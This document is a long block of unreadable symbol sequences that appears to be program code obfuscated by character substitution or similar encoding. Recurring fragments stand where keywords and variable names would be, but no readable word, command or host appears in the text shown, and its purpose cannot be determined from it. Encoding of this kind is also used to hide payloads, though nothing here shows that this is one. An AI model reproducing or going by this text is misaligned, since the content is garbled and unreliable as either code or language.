"|f}|wgggnntnlluDnnn'(nnnnnfj/>y}7(/:>$-nnnnsssnnnnllgnnnj/>y}7(/:>$-nsnnn'9}8?4>/7?,4)f}}}gnnnnn`nnnnnn9)4->=87+%~!?,(fllgn`n')<,*!v z,w(-=f}}ygnn`n9~ 6()=+, #%{f'9}8?4>/7?,4)f}}vgguD'(nf')<,*!v z,w(-=f}}zgfj/>y}7(/:>$-bnnnn,,&x"7%*"w>* "|f}}}ggnossnn~gnj/>y}7(/:>$-nnsnnnn'9}8?4>/7?,4)f}}}gnnn`n')<,*!v z,w(-=f}}{gf'9}8?4>/7?,4)f}}wgf,,&x"7%*"w>* "|f}z~gbnnnnnllbnnnnnnj/>y}7(/:>$-gbnnnniaiguDnj) $$7y4?'!nnnsn'==+:fj	'9}8?4>/7?,4)fy||ggnnhhnn,,&x"7%*"w>* "|f}zgfj	')<,*!v z,w(-=f}z|ggnnqnj	'9}8?4>/7?,4)f}z|gnnnntnlluDnnnnn'(nnf,,&x"7%*"w>* "|f|xzgfj) $$7y4?'!gnnrnnnnnnfv~e|~ggnn5Dnnnnnnj) $$7y4?'!nnsnnnn!|*6}/&4>&4x '{f'9}8?4>/7?,4)fz}gbnnllguD3Dnn'(nnnnf')<,*!v z,w(-=f|xzgfj) $$7y4?'!gnnnnnrnnnnf|~|vggnn5Dnnj) $$7y4?'!nnnsnn$4+$zv!8'v~7xfguDDDDnnnn3Dj'>&6(878{4nsnlluDnnnnn'(nnf'==+:fj	,,&x"7%*"w>* "|fzvvggnnnnhhn')<,*!v z,w(-=f}zgfj	,,&x"7%*"w>* "|fzvvggnhhnnn'9}8?4>/7?,4)f}z}gfj	')<,*!v z,w(-=fzvvggnnnnnnpnnfy|c||ggn5Dnnnj'>&6(878{4nsnnnnnnj	'9}8?4>/7?,4)fzvvguDnnnn3nnn+"=+n5Dnnnj'>&6(878{4nnsnnnnn!|*6}/&4>&4x '{f'9}8?4>/7?,4)fywgbnnllguDDDnn3Daan:7>+n#/:-&' )DDnnn'(nf47}#%=++!*:f}zzgfj'>&6(878{4gnnnnnpnnnnfzewggn5Dn$4"|"44x:74/<*9 %#||8f,,&x"7%*"w>* "|fywgbnj'>&6(878{4bn')<,*!v z,w(-=f}z{gguDnnnn3Dnnj>6/*$=7?/ !)nnnsn,,&x"7%*"w>* "|f}|}gf,,&x"7%*"w>* "|fyv}ggnqnnnf=:<' )gn'9}8?4>/7?,4)f}zxgf&!#+;<"fiaigbnnnngnnnntnniaiuDnnnn'(nnfj>6/*$=7?/ !)nnnsssnllgnnj>6/*$=7?/ !)nsnnniaiuD'(nf'9}8?4>/7?,4)f}zygfj>6/*$=7?/ !)bnncgnnossnniaignj>6/*$=7?/ !)nn`snnniaiuDnnj?y'>|~- ><<=nnsnn/<</7fDnnnnnnnn')<,*!v z,w(-=f}zvgnnspnn z +y# ?7v!97+%/)9$fgbDD')<,*!v z,w(-=f}zwgnspnn?&);y~+?>8|z~87,(&fgbDDDDnnn,,&x"7%*"w>* "|f}{~gnnnspnnnnnj>6/*$=7?/ !)bDguDDnj;y%# ;9$8(=~nnnsnnn/<</7fDnnn')<,*!v z,w(-=f}{gnnspnnj+4*y'+8y77zbDn,,&x"7%*"w>* "|f}{|gnnnspnnj*8?|?/>$9$84~7bDDDnnn,,&x"7%*"w>* "|f}{}gnnspnnnnj/>y}7(/:>$-bDDnn,,&x"7%*"w>* "|f}{zgnnnnspn!=+>>,++"6<w;&fnnnn`nnnnn')<,*!v z,w(-=f}{{gbnnnnfzwxggbDn')<,*!v z,w(-=f}{xgnnnspnj'>&6(878{4bDnnguDnj4*{ 9:<&6z!nnsn&,';|8$9)9wz};<4} %6f')<,*!v z,w(-=f}{ygbnllguDnnn'(nnfo'9}8?4>/7?,4)f}{vgfj4*{ 9:<&6z!gnn22nnnn47}#%=++!*:f}{wgfj4*{ 9:<&6z!gnsssn~gnnn5DDn<+:;< uDnn3Dnnnnnnnnj+8*6v*!%4$6z*(wnnsnnn')<,*!v z,w(-=f}wwgf44=?z~}4y9,=&&76+w+'f')<,*!v z,w(-=f}x~gfj;y%# ;9$8(=~gbnj4*{ 9:<&6z!gguDj$|=}z#7z89=x)(<<nnnsnnn47}#%=++!*:f}xgnnn`nnnn,,&x"7%*"w>* "|f}wwgf47}#%=++!*:f}x|gfj?y'>|~- ><<=ggnnn`n')<,*!v z,w(-=f}x}guDnnj$|=}z#7z89=x)(<<n`snnn,,&x"7%*"w>* "|f}xzgn`nj+8*6v*!%4$6z*(wnnn`nn,,&x"7%*"w>* "|f}x{guDnnn$4"|"44x:74/<*9 %#||8f47}#%=++!*:f}xxgbnj$|=}z#7z89=x)(<<bnnnn'9}8?4>/7?,4)f}z{gguD$4"|"44x:74/<*9 %#||8f')<,*!v z,w(-=f}xygbnnnnn')<,*!v z,w(-=f}xvgff=:<' )gnnnj) $$7y4?'!nn`nnf=:<' )gnnj'>&6(878{4nnn`nj4*{ 9:<&6z!nnn`nnnnnni2innn`n,,&x"7%*"w>* "|fyygf9)4->=87+%~!?,(fllgggbnnn,,&x"7%*"w>* "|f}z{gguDnnnj*-,*;+~$,&(-#9nnnnnnsnnnnn')<,*!v z,w(-=f}|}gf')<,*!v z,w(-=fyv}ggnqnnnn&!#+;<"f'9}8?4>/7?,4)f}}xgnnnn`nnnnn9~ 6()=+, #%{f')<,*!v z,w(-=f}xwgggntnnnnnlluD'(nfj*-,*;+~$,&(-#9nnsssnnnnllgnnnj*-,*;+~$,&(-#9nsnnnnn,,&x"7%*"w>* "|f}}}gnn`nnn9)4->=87+%~!?,(fllgnnn`n47}#%=++!*:f}y~gnnn`nn9~ 6()=+, #%{f47}#%=++!*:f}ygguDnnnn'(nnnf,,&x"7%*"w>* "|f}y|gfj*-,*;+~$,&(-#9bnnn'9}8?4>/7?,4)f}}}ggnnossnnnn~gnnj*-,*;+~$,&(-#9nnnsnn'9}8?4>/7?,4)f}}}gnnn`nn,,&x"7%*"w>* "|f}y}gf')<,*!v z,w(-=f}}wgf')<,*!v z,w(-=f}z~gbnllbnnj*-,*;+~$,&(-#9gbnniaiguDn$4"|"44x:74/<*9 %#||8f47}#%=++!*:f}yzgbnnnnnnj*-,*;+~$,&(-#9bnnn')<,*!v z,w(-=f}y{gguDDDn'(nnf,,&x"7%*"w>* "|f}{wgfj) $$7y4?'!gnnnnrnnf~6|ye~6}*ggnn5D<+:;< uDnnnnn3D$4"|"44x:74/<*9 %#||8f47}#%=++!*:f}yxgbnnj) $$7y4?'!bnn,,&x"7%*"w>* "|f}y{gguD'(nnnnnfo/)&87'yvw{ = z*~)fggnnnn<+:;< uDDnnnnnj+x$%;+4/-+ <(nnsnn9#::(!7?8|, ,v})v'fguDnnn'(nnnfo')<,*!v z,w(-=f}yygfj+x$%;+4/-+ <(ggn 6%6=z"z7)$(//*fj+x$%;+4/-+ <(bnnnnfzv|egbn:<;+guD'(nfo')<,*!v z,w(-=f}yygfj+x$%;+4/-+ <(gn22nnnnno,,&x"7%*"w>* "|fvyvgfj+x$%;+4/-+ <(ggn<+:;< uDnj-<~v-/&?+-nsnj+x$%;+4/-+ <(nnnn`nnniainn`nj> ,%}?:w$*n`nnnn')<,*!v z,w(-=fwvvguj  %!=?#!"$sz}2xwuj%%&*"84!}:*(z6sj  %!=?#!"$}xuDnj:xw>!x=z# vnsnn w(=#-z$*6z+x>&>z+(wfDDDnn'9}8?4>/7?,4)f}yvgbDnnn/<</7fi	ibni ibnnniibnnni igbDDD/<</7fj*8?|?/>$9$84~7bnnj?(vz)(v>wx(z&<<bnn!=+>>,++"6<w;&fnnnn`nn,,&x"7%*"w>* "|f}{{gbnnfeggbn9),%/4:v49)x!/ /x9}(y:fggDDDnnguDnnnn'(nfoj:xw>!x=z# vgnnnnn5Dnnn'(nff' :gn)+:!>:'! f,,&x"7%*"w>* "|fyzygbn~gnnnnnnpnn~gnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f}ywgbn')<,*!v z,w(-=f}v~gguDn<+:;< uDDDDnnnn3Dn'(nnnnnnfo,,&x"7%*"w>* "|fw~gfj-<~v-/&?+-gn22nnn'9}8?4>/7?,4)f}xvgf$9v'='y;'&{$%$zy+ff=:<' )gnnnn47}#%=++!*:f|{gfj-<~v-/&?+-gggnnossnn')<,*!v z,w(-=f}xvgfj:xw>!x=z# vggn5Dnnnn:}w$*,?|?6~,'y| y;!w/fj-<~v-/&?+-bnnnj:xw>!x=z# vbnn,,&x"7%*"w>* "|f}vgguDnn-~~%z&yy; '6-}v7):*:fj-<~v-/&?+-bn9&46;zx7&+;'(fgguDDn??:+}<">$9;(=4=8'-+fj-<~v-/&?+-bnf~6+ve~6,-gguDDnn"~/(%7wz&:z(&w/fj-<~v-/&?+-guDnnn3Dnnnnn3nnn-/:-&nnf&<!9/,"+nnj": >{,:|gn5Dnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f}ywgbnj": >{,:|guDnnnnn3nn-/:-&nf6-+>:'! nj": >{,:|gnnn5Dnn3D3D(; -:'! nnn w(=#-z$*6z+x>&>z+(wfj%+7bnj*x64v##'=%${bnnnj!!  :?$~=#7+7|:gDnnnn5Dnj)##z6&)6&$:9!nnnnsnnnn ;""uDDnnn'(nnnnnnfj)##z6&)6&$:9!nnnsssnnnn ;""gnnn5Dnnj)##z6&)6&$:9!nsnn'9}8?4>/7?,4)f}|}gf')<,*!v z,w(-=f}v|ggnnnqn)+::</ ='+ :f/==<)w'y{{4y'%~=?fggnntnnn(/"=+uDnn'(nnfon')<,*!v z,w(-=f}v}gfj)##z6&)6&$:9!ggnn5DDnnj)##z6&)6&$:9!nsnnn/&w~'=z( v8*?</%86;zf'9}8?4>/7?,4)fy{gbn(/"=+guD3Dnn'(nnnnfon47}#%=++!*:f}vzgfj)##z6&)6&$:9!ggn5Dnj)##z6&)6&$:9!nnsnnn/<</7fguDnnnn3Daan-&+-%>!' :n>!=':'8+c*+(' ':+n<+-!<*c"/7+<DDnn3Dj-x8'<%y"()8nnnnnsnnnlluD'(nnnf'==+:fj)##z6&)6&$:9!j%+7gnnnhhnnnn'9}8?4>/7?,4)f}{vgfj)##z6&)6&$:9!j%+7ggn5Dj-x8'<%y"()8nnsnnj)##z6&)6&$:9!j%+7uj4{6">w,z6ww%<s|{ex}uj4;?||8x7''==sj4{6">w,z6ww%<czuDnnnn3Dnnn'(nf'9}8?4>/7?,4)f}v{gfj-x8'<%y"()8gnnrnf}ezyggnnnnnn5DDDj-x8'<%y"()8nsnnn!|*6}/&4>&4x '{fj%+7bnllguD3DDDn'(nf'9}8?4>/7?,4)f}v{gfj-x8'<%y"()8gnrnnf~6{e~6*ggnn<+:;< n(/"=+uDDDj:,#zv{|~:7!;"->nnsn')<,*!v z,w(-=fz~|gfj-x8'<%y"()8bn:<;+guD'(nnfoj:,#zv{|~:7!;"->nn22nn,,&x"7%*"w>* "|f}vxgfj:,#zv{|~:7!;"->gnnnnnrnnf~6}e~6|(ggnn<+:;< nnnnn(/"=+uDDDnnnn'(nnf,,&x"7%*"w>* "|f}y|gfj:,#zv{|~:7!;"->bnnnnn')<,*!v z,w(-=f|{wggnsssnnn(/"=+gnn<+:;< n(/"=+uDnj:,#zv{|~:7!;"->nnnsnnnn')<,*!v z,w(-=fz~wgfj*x64v##'=%${bnnj!!  :?$~=#7+7|:bnnnj:,#zv{|~:7!;"->guDnnnn'(nnnf*+(' +*f')<,*!v z,w(-=f|xgggnnnn5DDnn:<7nn5Dnnnnn:!%+ )+:/""fj:,#zv{|~:7!;"->bnn guDnnnnnnn3n-/:-&nnf&<!9/,"+nnnnj": >{,:|gnn5D<+:;< nnnn(/"=+uDDDnnn3nnn-/:-&nnnf6-+>:'! nj": >{,:|gnn5D<+:;< n(/"=+uDDnn3DDDn3nn+"=+'(nnnfo84*{ <*'w~?-y,-4,;fj:,#zv{|~:7!;"->ggn5Dnn<+:;< n(/"=+uD3Dn<+:;< nnj:,#zv{|~:7!;"->uDDn3Dnn(; -:'! nnnn4")#>*-;99x${4y/!%:fgDDDDnn5Dnnnnnn:<7nnnnn5D'(nnfo,,&x"7%*"w>* "|f}|}gf47}#%=++!*:f}v|gggnnnn<+:;< uD'(nnnfo*+(' +*f')<,*!v z,w(-=f}vygggn<+:;< uDj%-7!$,,ww!7x,nsnnnn/9x4zx,?~<'y >*8,"*4|%fguDnnnn'(nnnnfoj%-7!$,,ww!7x,gnnnnn5Dnnn'|9 %,~~$!,}"{~>*zfguDnnnnnnnnj%-7!$,,ww!7x,nnnnsnn/9x4zx,?~<'y >*8,"*4|%fguDnn3Dj,!)::*->=77nsnn!|*6}/&4>&4x '{f,,&x"7%*"w>* "|f}{ygbnllguDnnnnnn'(nnnnnf'9}8?4>/7?,4)f}vxgfj,!)::*->=77gnsssnnn~gnj,!)::*->=77nsnnn47}#%=++!*:f}vvgfl6~~lbnnnf|}cygguDDDDnnnnj,8z %7{(:/+x -&nnsnnnnnnf'==+:fj	47}#%=++!*:f}z|ggnnnhhn'9}8?4>/7?,4)f}{vgfj	'9}8?4>/7?,4)f}z|ggnnnnhhnnnn,,&x"7%*"w>* "|f}vxgfj	'9}8?4>/7?,4)f}vwggnpsnnf}exwggnnnqnnj	,,&x"7%*"w>* "|f}w~gnnntn!|*6}/&4>&4x '{f'9}8?4>/7?,4)f}yxgbnnnllguD'(nnf,,&x"7%*"w>* "|f}wgfj,8z %7{(:/+x -&gnnnnnnrnnnnfxevzggnnj,8z %7{(:/+x -&nsn$4+$zv!8'v~7xfguDnnj! |8;{?:~-?vnnnsnnnf'==+:fj	,,&x"7%*"w>* "|fzvvggnhhnnnn,,&x"7%*"w>* "|f}w|gfj	47}#%=++!*:fzvvggnnnhhn47}#%=++!*:f}wgfj	,,&x"7%*"w>* "|fzvvggnnnpnfz{}ggnnnqnj	')<,*!v z,w(-=fzvvgnntnn!|*6}/&4>&4x '{f47}#%=++!*:f}w}gbnnllguDnj4;x>v7}88,wnsn47}#%=++!*:f}xvgfj,8z %7{(:/+x -&nn`nj! |8;{?:~-?vnnnnn`nj,!)::*->=77nnnn`nnnni2innn`n47}#%=++!*:fyygf9)4->=87+%~!?,(fllggguDnnnn'(nnnf!|*6}/&4>&4x '{f,,&x"7%*"w>* "|f}xygbnllgnnnnossnnnnj4;x>v7}88,wgn5Dnnnnnn'|9 %,~~$!,}"{~>*zfguDnj%-7!$,,ww!7x,nnnsn/9x4zx,?~<'y >*8,"*4|%fguD3Dn'(nfo/)&87'yvw{ = z*~)fggnn<+:;< uDnnnj8z()4x*~(nnsn;7*|y?6v~=;#*-v8:;w(/fguj:v/4<|w6(}'svdwuj7 z"<:4*7}-|v;sj:v/4<|w6(}'cuDj7<&&y7-/7!<nnsnn'9}8?4>/7?,4)fw~gfj8z()4x*~(nnnn`nnn,,&x"7%*"w>* "|f}wzgguDn'(nnfj7<&&y7-/7!<nhhnj%-7!$,,ww!7x,nnhhnnnnnn)+::</ ='+ :f,,&x"7%*"w>* "|f}w{gggnnnn<+:;< uDn ("?>x7x*:v>{{z$fguDnnn +=|-: 847w{wfguDnnnnnnn;w;7)y<'4z&'+fguDnj*z~$!)%-8={?nsnn47}#%=++!*:f}wxgfj8z()4x*~(n`nn'9}8?4>/7?,4)f}wzgguDDDnnnnj%-7!$,,ww!7x,nnnnnnsnnnnn/9x4zx,?~<'y >*8,"*4|%fguD'(nnnfj*z~$!)%-8={?nhhnj%-7!$,,ww!7x,gnn5Dnn=+::</ ='+ :f')<,*!v z,w(-=f}w{gbnnnnbnnf~6{xe~6*xgguD3DDn3nn-/:-&nnf&<!9/,"+nnnnj": >{,:|gn5Dnnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)f}wygbnnj": >{,:|guDDDnn3nnn-/:-&nnnf6-+>:'! nnj": >{,:|gnn5Daan=:<+==c:+=:n<+*;-:'! n(!<nn;""n':+n*':' )DDDD3D3DDDDn(; -:'! n +=|-: 847w{wfgDnnn5DDnnnnnn:<7n5Dnnnnnnn'(nnnfo*+(' +*f47}#%=++!*:f}vygggnnnn<+:;< uDnnnnn'(nnf47}#%=++!*:f}wvgfgnsssn')<,*!v z,w(-=fvzggnn<+:;< uDnnnj+)"'("z7v44z<nnsn')<,*!v z,w(-=f}|}gf'9}8?4>/7?,4)f|yvggnqn47}#%=++!*:f}wwgf47}#%=++!*:f{vxggnnntn(/"=+uDnnnn'(nnnfoj+)"'("z7v44z<nnn22nj+)"'("z7v44z<nnnsssnllnn22nnj+)"'("z7v44z<nnsssn47}#%=++!*:fz~~ggnj+)"'("z7v44z<nnsnnnn'9}8?4>/7?,4)f{vwguDnnj> ,%}?:w$*nnnsnn!=+>>,++"6<w;&fnnnnnn`n'9}8?4>/7?,4)fz~gbnnnfyzxxgguDnnnj8z()4x*~(nnnnnnsn;7*|y?6v~=;#*-v8:;w(/fguDj+x$%;+4/-+ <(nnsnnnn9#::(!7?8|, ,v})v'fguDnnj/v({6"w z/xy%nnnnnsnnnn!=+>>,++"6<w;&fnnnnnn`n')<,*!v z,w(-=f~wgbnnfzezggnn`n47}#%=++!*:fz~|guDj!6z;<}z'{:nsnnj8z()4x*~(n`nniainnnnnn`nj/v({6"w z/xy%uDj:!7??)7zy{nnsnnnj8z()4x*~(nn`nnn'9}8?4>/7?,4)fz~}gnn`nnnj/v({6"w z/xy%uj?<{}$/;8-}?ws uj!?x/{{4:<sj?<{}$/;8-}?wdvuDnnnnj*8?|?/>$9$84~7nnsnnnnn,,&x"7%*"w>* "|fx{gf<xw=w,+~4~}#8~fgbnn'9}8?4>/7?,4)fz~|gguDnj?(vz)(v>wx(z&<<nnsnn!=+>>,++"6<w;&fn`nn47}#%=++!*:f}|ygbnnnnnfxcvggnnn`n,,&x"7%*"w>* "|f}|vguDj7<4z?>*{",nnnnsnnnnnf' :gnnnn)+:!>:'! f')<,*!v z,w(-=fz~zgbnn~guDnn'(nnnfj7<4z?>*{",nhhnnnnn,,&x"7%*"w>* "|fz}gfgncnnnnj7<4z?>*{",nnrnnf~6++*xe~6x|//ggn5Dnnn?~$,4+?(~"$ 6(z=fj!6z;<}z'{:bnnn ;""guDnnnnn?~$,4+?(~"$ 6(z=fj:!7??)7zy{bnnn ;""guDDD(!<+/-&nnnnf/<</7f47}#%=++!*:fxxvgfbnnn')<,*!v z,w(-=f|xvggbn')<,*!v z,w(-=fxxvgfj8z()4x*~(bnnn')<,*!v z,w(-=fz~{gggnnnnn/=nnnnj;!?>v|#?~}7%7gn5Dnnnnnj6=!} z}9=~ ':#,=nnsnj;!?>v|#?~}7%7n`nniainnnn`nj+)"'("z7v44z<uDDDDnnnj-&}?}~>"=w$)&nnnsn'9}8?4>/7?,4)fz~xgfj6=!} z}9=~ ':#,=gnnnnqnnnnn'9}8?4>/7?,4)fz~ygfj6=!} z}9=~ ':#,=gnnntnnlluDnnn'(nnnnf47}#%=++!*:f}w|gfj-&}?}~>"=w$)&gnnnnnhhnnnnn,,&x"7%*"w>* "|f}y|gfj-&}?}~>"=w$)&bnj/v({6"w z/xy%gnnossn(/"=+gnn5Dnj"-w4(v&{9>x6;%|nnnsnn47}#%=++!*:fz~vgf')<,*!v z,w(-=fz~wgnnn`nnnnn47}#%=++!*:fz~gfj/v({6"w z/xy%bnniaignn`n'9}8?4>/7?,4)fzgbnnl lbnj-&}?}~>"=w$)&guDDDDnn'(nnnnnnf'9}8?4>/7?,4)f}w|gfj"-w4(v&{9>x6;%|gnnnnhhnnnnnnj"-w4(v&{9>x6;%|nnossnj-&}?}~>"=w$)&gnnnn=,?(,4;}z-}  {8=6$'6>fj6=!} z}9=~ ':#,=bnnj"-w4(v&{9>x6;%|guDDDD3Daan7nvn=n/::/-&#+ :n#+:/*/:/DDn3Dnnnn<+:;< uDDD3Dnnnj6"{)/&,%7'nnsnnn w(=#-z$*6z+x>&>z+(wfDDDD,,&x"7%*"w>* "|fy}vgbDnn/<</7fi	ibni ibnnni ibnnni

ibnni  
xzibnnnnni igbD/<</7fj*8?|?/>$9$84~7bnj?(vz)(v>wx(z&<<bnj> ,%}?:w$*bnnn')<,*!v z,w(-=fz|gnnn`n!=+>>,++"6<w;&fn`nnnnnn,,&x"7%*"w>* "|fz{gbnfzcxggbnnnn,,&x"7%*"w>* "|f}wwgf*+(' +*f,,&x"7%*"w>* "|fz}ggnnnnqnn  
ntn;7*|y?6v~=;#*-v8:;w(/fggbnn9),%/4:v49)x!/ /x9}(y:fggDnnnguDnnn'(nnnnfoj6"{)/&,%7'gnnn5Daan+6>+-:+*n,"!!#c('":+<DDnn'(nnnnnff' :gnnnn)+:!>:'! f47}#%=++!*:fyzygbnn~gnnnnnnpnn~gnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fzzgbnn')<,*!v z,w(-=fz{gguDnnnnnn<+:;< uDnnnnnn3D'(nnfo,,&x"7%*"w>* "|f}yygfj+x$%;+4/-+ <(ggnnnn 6%6=z"z7)$(//*fj+x$%;+4/-+ <(bnf~6|we~6-zgbnn:<;+guj*%x=/>w;"<~/,s}dxuj#:w4|:#&y!sj*%x=/>w;"<~/,c}zuDnj'>/4z?v:v%>))|<#nsnn(/"=+uD'(nnnfo47}#%=++!*:f}wxgfj:!7??)7zy{gnn22nnnnn,,&x"7%*"w>* "|fzxgf$9v'='y;'&{$%$zy+ff=:<' )gn,,&x"7%*"w>* "|fz~ygfj:!7??)7zy{gggnnnnossn47}#%=++!*:fzxgfj6"{)/&,%7'ggn5Dnnnn:}w$*,?|?6~,'y| y;!w/fj:!7??)7zy{bnnnj6"{)/&,%7'bnnnn'9}8?4>/7?,4)fzzgguDDDDn-~~%z&yy; '6-}v7):*:fj:!7??)7zy{bn9&46;zx7&+;'(fgguDDDnnn??:+}<">$9;(=4=8'-+fj:!7??)7zy{bnnnfz~ye}gguDn"~/(%7wz&:z(&w/fj:!7??)7zy{guDnnj'>/4z?v:v%>))|<#nsnn:<;+uD3Dj*'=}=$wz~?9w,nnsnnnnnlluDnn(!<+/-&nnnf/<</7f47}#%=++!*:fxxvgfbnnn,,&x"7%*"w>* "|fz~{ggbnn,,&x"7%*"w>* "|fxxvgfj8z()4x*~(bn47}#%=++!*:fzygggnn/=nnnnj!(y~8{+!,64 !x<(gn5DDDDnnnnnnj(6-;?"6;~!nsnn,,&x"7%*"w>* "|f}wxgfj!(y~8{+!,64 !x<(nnnn`nniainn`nnnnnnj+)"'("z7v44z<gnnnnnnqnnnn47}#%=++!*:fzvgfj!(y~8{+!,64 !x<(nn`niainn`nj+)"'("z7v44z<gntnnlluD'(nnnnnf'9}8?4>/7?,4)fzwgfj(6-;?"6;~!gnnhhnn47}#%=++!*:f}~gf47}#%=++!*:fz|~gbnnj(6-;?"6;~!bnnnj>>({}|(-7yv=!49~ggnnnn5Dnnnnj-=={y*|6/x/<"|nnsnnn,,&x"7%*"w>* "|f|vgfj>>({}|(-7yv=!49~|guDn'(nnfj-=={y*|6/x/<"|nnnossnllnnnnhhnn=:<'>!=fj-=={y*|6/x/<"|bnn'9}8?4>/7?,4)fz|ggnnsssnn(/"=+nnnnhhnno)#((v})/:~9)<:fj-=={y*|6/x/<"|ggnnnn5DDDDnnnnj*'=}=$wz~?9w,nsnnnnnnj-=={y*|6/x/<"|uDnnn,<+/%uD3D3Dnn3DnnnDnj *-:>8?v/;(=9+|nnnnsn,,&x"7%*"w>* "|fww}gnn`nnnnnnfj*'=}=$wz~?9w,nnnossnllnnqn'9}8?4>/7?,4)fz||gnnnn`nnnn')<,*!v z,w(-=fz|}gfj*'=}=$wz~?9w,bn:<;+gn`nn'9}8?4>/7?,4)fz|zgnnntnnnllgDn`n')<,*!v z,w(-=fz|{gnnn`nj/v({6"w z/xy%nnnnnn`nnnn,,&x"7%*"w>* "|f}x{gD`nn47}#%=++!*:fz|xgDn`nnn47}#%=++!*:fz|ygD`nn,,&x"7%*"w>* "|fz|vgnnnn`nnn,,&x"7%*"w>* "|fzxgfj6"{)/&,%7'gnn`n47}#%=++!*:fz|wguDDD'(nfo47}#%=++!*:f}wxgfj!6z;<}z'{:gn22n,,&x"7%*"w>* "|fzxgf$9v'='y;'&{$%$zy+ff=:<' )gnnnnnn'9}8?4>/7?,4)fz}~gfj!6z;<}z'{:gggnnossn'9}8?4>/7?,4)fz}gfj *-:>8?v/;(=9+|ggn5DD:}w$*,?|?6~,'y| y;!w/fj!6z;<}z'{:bnj *-:>8?v/;(=9+|bnnn47}#%=++!*:fz}|gguDn-~~%z&yy; '6-}v7):*:fj!6z;<}z'{:bn9&46;zx7&+;'(fgguDDDDn??:+}<">$9;(=4=8'-+fj!6z;<}z'{:bnf}zweygguD"~/(%7wz&:z(&w/fj!6z;<}z'{:guDnj'>/4z?v:v%>))|<#nnnnsnnn:<;+uD3Dj!!}/&><*))&:'*nnsnn:<;+uDj;-+-<z:8>nnnnsnnn$9v'='y;'&{$%$zy+ff=:<' )gn'9}8?4>/7?,4)fz}}gfj:!7??)7zy{gguDnnn'(nfo,,&x"7%*"w>* "|fz~xgfj:!7??)7zy{gnnnnnn22nj;-+-<z:8>nossnnj6"{)/&,%7'gnnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzzgbnnnn')<,*!v z,w(-=f|wgguDnn?~$,4+?(~"$ 6(z=fj:!7??)7zy{bn ;""guDnj!!}/&><*))&:'*nnnsnnn(/"=+uDnn3Dnnj;-+-<z:8>nnsn$9v'='y;'&{$%$zy+ff=:<' )gnnnnn'9}8?4>/7?,4)fz}}gfj!6z;<}z'{:gguDnnnn'(nnnnfo47}#%=++!*:fz}zgfj!6z;<}z'{:gnn22nj;-+-<z:8>nnnossnj *-:>8?v/;(=9+|gnn5Dnnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fzzgbn47}#%=++!*:f|wgguDDDD?~$,4+?(~"$ 6(z=fj!6z;<}z'{:bn ;""guDnnnj!!}/&><*))&:'*nnnsnn(/"=+uj(|x(#*y7)8|x}:s||d|uj(+/9$+z&zsj(|x(#*y7)8|x}:c|{uDnn3Dnnnnnn; =+:fj;-+-<z:8>guDnn'(nfoj!!}/&><*))&:'*gnnn5Dj{w/,<z-?x=;w~&nnnnnsnnnf' :gnnnn)+:!>:'! f')<,*!v z,w(-=fz}{gbn~gnnnnenuDnnn;>*/:+!>:'! f')<,*!v z,w(-=fz}{gbnj{w/,<z-?x=;w~&bnnn47}#%=++!*:f}y{gguD'(nfj{w/,<z-?x=;w~&npsnnnnf~6e~6|ggn5Dnn;>*/:+!>:'! f47}#%=++!*:fz}xgbnnn47}#%=++!*:fz}gfgbnnnnn'9}8?4>/7?,4)f}y{gguDnnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fz}ygbnn')<,*!v z,w(-=fz}vgguDDnn3Dn<+:;< uDDD3Dnnnnnnnj<8-v7,v4#z>|!99vnnsn/<</7f,,&x"7%*"w>* "|fxxvgfbnnn'9}8?4>/7?,4)fzyggbnn47}#%=++!*:fxxvgfj8z()4x*~(bn'9}8?4>/7?,4)fzyggguDj-77%v9x98%6-nsnn/<</7fguDDDnn(!<+/-&nnnfj<8-v7,v4#z>|!99vnn/=nnj<y>%"%;-=~gnnnn5Dnnnnnnnnj7"7% >%"!x|y>'nnnsnj<y>%"%;-=~nnn`nnniainnn`nnnj+)"'("z7v44z<uDnj&+%'< '#9"%#%: ,nnnsn')<,*!v z,w(-=fz}zgfj7"7% >%"!x|y>'gnqnnn47}#%=++!*:fz}wgfj7"7% >%"!x|y>'gntnn~uDj-;<<+ :nsn47}#%=++!*:fzz~gfj7"7% >%"!x|y>'gnnnnnqnnnnn'9}8?4>/7?,4)fz}}gfj7"7% >%"!x|y>'gnnnnntnnlluDn'(nnfo,,&x"7%*"w>* "|fzzgfj-;<<+ :ggnnnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fz}ygbnn'9}8?4>/7?,4)fzz|gguDnnnDDn<+:;< uD3Dnnn'(nf')<,*!v z,w(-=fzz}gfj-;<<+ :bnnnj/v({6"w z/xy%gnnsssnn(/"=+gnn5DDDDnnnn'(nnnnfj-;<<+ :nnnnnhhnnn')<,*!v z,w(-=f}zygf47}#%=++!*:fzzzgfj-;<<+ :gbnnnnnncgnnnnossnnnl lgnnj-;<<+ :n`snl luDnnnnnj8z,|6y</ "=(nnnsnnn47}#%=++!*:fzz{gn`nnnnj!6z;<}z'{:n`nilinn`nnuDnnnnn'(nnnnf=,?(,4;}z-}  {8=6$'6>fj7"7% >%"!x|y>'bnnj-;<<+ :n`nnj8z,|6y</ "=(ggnnnnnn5Dn'(nnfj&+%'< '#9"%#%: ,gn-~~%z&yy; '6-}v7):*:fj7"7% >%"!x|y>'bnj&+%'< '#9"%#%: ,guD+"=+n-~~%z&yy; '6-}v7):*:fj7"7% >%"!x|y>'bnnn'9}8?4>/7?,4)fz}gfgguDn??:+}<">$9;(=4=8'-+fj7"7% >%"!x|y>'bnnnnfzwegguDn;>*/:+!>:'! f'9}8?4>/7?,4)fzzxgbnnnnn')<,*!v z,w(-=fz}gfgbnnnnn')<,*!v z,w(-=f}y{gguDj-77%v9x98%6-nsnn/<</7fj7"7% >%"!x|y>'bnnnnj-;<<+ :guDnnnnnnn'(nnnff' :gn)+:!>:'! f,,&x"7%*"w>* "|fzzygbnnnn~gnnnpnnn~gnnnn;>*/:+!>:'! f,,&x"7%*"w>* "|fzzygbnn~bnn'9}8?4>/7?,4)fzzvgguDnn'(nnnnff' :gn)+:!>:'! f47}#%=++!*:fz}xgbnnnnn~gnnnpnn~gnnn*+"+:+!>:'! f,,&x"7%*"w>* "|fzzwgguDnnnnn3nnn+"=+n5Daan/-?;'<+n&+/<:,+/:DDDnnj$){/-6--4!zwxnnnsnf' 